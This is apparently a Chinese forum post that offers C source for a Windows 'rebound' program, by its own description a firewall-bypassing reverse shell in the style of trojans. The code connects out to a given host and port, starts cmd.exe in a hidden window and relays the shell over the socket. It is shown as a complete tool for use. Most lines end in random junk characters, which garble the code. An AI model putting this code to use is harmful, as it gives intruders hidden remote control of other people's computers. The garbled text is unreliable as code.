这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V)-+Fd,=
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/* ============================== Z1f8/?`W
Rebound port in Windows NT D~fl JR
By wind,2006/7 cJ
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===============================*/ VUGmi]qd
#include )0W{]2
#include xJvmhN/c
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#pragma comment(lib,"wsock32.lib") 9r<J"%*Q
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void OutputShell(); Y%aCMP9j~9
SOCKET sClient; PfD.:amN7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~i{(<.he
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void main(int argc,char **argv) e/&{v8Hmb
{ ]BZA:dd.G
WSADATA stWsaData; q[ZT Hd.-
int nRet; =tn)}Y.<e
SOCKADDR_IN stSaiClient,stSaiServer; 6qpJUkd
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if(argc != 3) ,vawzq[oSy
{ \gGW8Q;
printf("Useage:\n\rRebound DestIP DestPort\n"); Z'W=\rl
return; KVaiugQ
} [z\$?VJspQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); dNH08q8P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8)3*6+D
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stSaiClient.sin_family = AF_INET; tBWrL{xLe
stSaiClient.sin_port = htons(0); rmm0/+jY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *?>T,gx}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u8g~
{ v`x.)S1
printf("Bind Socket Failed!\n"); Tc:)-
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return;
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} ({)+3]x
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stSaiServer.sin_family = AF_INET; 4Uo&d#o)C-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cn3\kT*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); su(1<S}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F6|]4H.3Q
{ 1D7`YKI9h
printf("Connect Error!"); [Ek7b*
return; M `M5'f
} ZzpUUH/r
OutputShell(); :#ik. D
} ^|>PA:%
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void OutputShell() 5` ~JPt
{ YnMvl
char szBuff[1024]; RJ&RTo
SECURITY_ATTRIBUTES stSecurityAttributes; XJ\DVZ
OSVERSIONINFO stOsversionInfo; ncdKj}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (OL4Ex' ]
STARTUPINFO stStartupInfo; NB#OCH1/9
char *szShell; iByf{ I>+
PROCESS_INFORMATION stProcessInformation; pRpBhm;iJ
unsigned long lBytesRead; m,w A:o$'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s`8= 3]w
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9T9!kb
stSecurityAttributes.lpSecurityDescriptor = 0; _Y4` xv0/
stSecurityAttributes.bInheritHandle = TRUE; Y=I'czg
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P>D)7V9Hh
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pn1^NUMZJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'KL0@l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v$v-2y'%
stStartupInfo.wShowWindow = SW_HIDE; -f^tE,-
stStartupInfo.hStdInput = hReadPipe; P4'Q/Sj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j2[+ztG
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GetVersionEx(&stOsversionInfo); /Iokf@5
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switch(stOsversionInfo.dwPlatformId) ()?(I?II
{ n;_sG>N
case 1: v{N`.~,^
szShell = "command.com"; pE0Sw}A:9
break; 8/cX]J
default: 5Ln,{vsv
szShell = "cmd.exe"; .!3|&V'<
break; P3=G1=47U
} RSRS wkC
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \?-<4Bc@
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send(sClient,szMsg,77,0); T3<4B!UB&
while(1) '<)n8{3Q5w
{ Q&tG4f<
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L`TLgH&?R
if(lBytesRead) U'_Q>k
{ ET*SB
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3;9^
send(sClient,szBuff,lBytesRead,0); Mfuv0P~
} V2EUW!gn
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else f'RX6$}\1X
{ >uRI'24
lBytesRead=recv(sClient,szBuff,1024,0); 'JE`(xD
if(lBytesRead<=0) break; V=l0(03j~
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ic<2QknmP
} Wvh#:Z
} ebhXak[w
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return; Nh|uO?&C6
}